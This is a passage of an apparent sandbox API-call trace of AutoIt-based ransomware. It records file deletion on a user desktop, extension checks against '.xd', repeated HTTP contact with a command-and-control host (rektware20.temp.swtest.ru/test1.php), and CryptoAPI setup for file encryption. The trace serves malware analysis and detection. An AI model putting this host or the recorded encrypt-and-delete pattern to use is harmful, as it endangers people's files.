lpMsg=0x130f164) returned 0 [0075.167] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.167] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", lpFilePart=0x0) returned 0x2a [0075.168] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f-dli0lw.ppt")) returned 0x20 [0075.168] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c930 [0075.168] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f-dli0lw.ppt")) returned 1 [0075.179] FindNextFileW (in: hFindFile=0x164c930, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0075.180] FindClose (in: hFindFile=0x164c930 | out: hFindFile=0x164c930) returned 1 [0075.181] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.181] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.181] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.181] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.181] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0075.184] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0075.185] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.185] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0075.185] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.185] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0075.185] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0075.185] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0075.185] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.185] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.186] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.188] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0075.188] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0075.188] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0075.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0075.188] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0075.188] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.190] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.190] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.190] CloseHandle (hObject=0x0) returned 0 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AuIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uIT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IT.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.193] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.193] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.193] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.194] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.194] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.194] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.194] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.194] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.194] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0075.194] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.194] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.194] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.195] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.195] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.195] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.195] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.195] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629450, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629450*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.195] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.196] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.196] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.196] CloseHandle (hObject=0x0) returned 0 [0075.197] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.197] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F0nAuIT.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0075.197] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.197] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.197] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.198] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.198] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.198] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.198] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.198] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.199] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.199] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.199] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.200] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.200] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.200] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.200] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.200] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.200] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.200] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.202] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.203] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.203] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x16323a8) returned 1 [0075.204] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.204] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.205] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.205] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.205] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.205] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.205] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.205] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.205] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.206] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.206] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.206] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.206] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.206] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.206] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.206] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.206] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.206] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.207] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.207] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.207] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.207] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.207] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.207] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.207] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.207] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.208] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.208] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.208] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.208] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.208] CryptCreateHash (in: hProv=0x16323a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.209] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 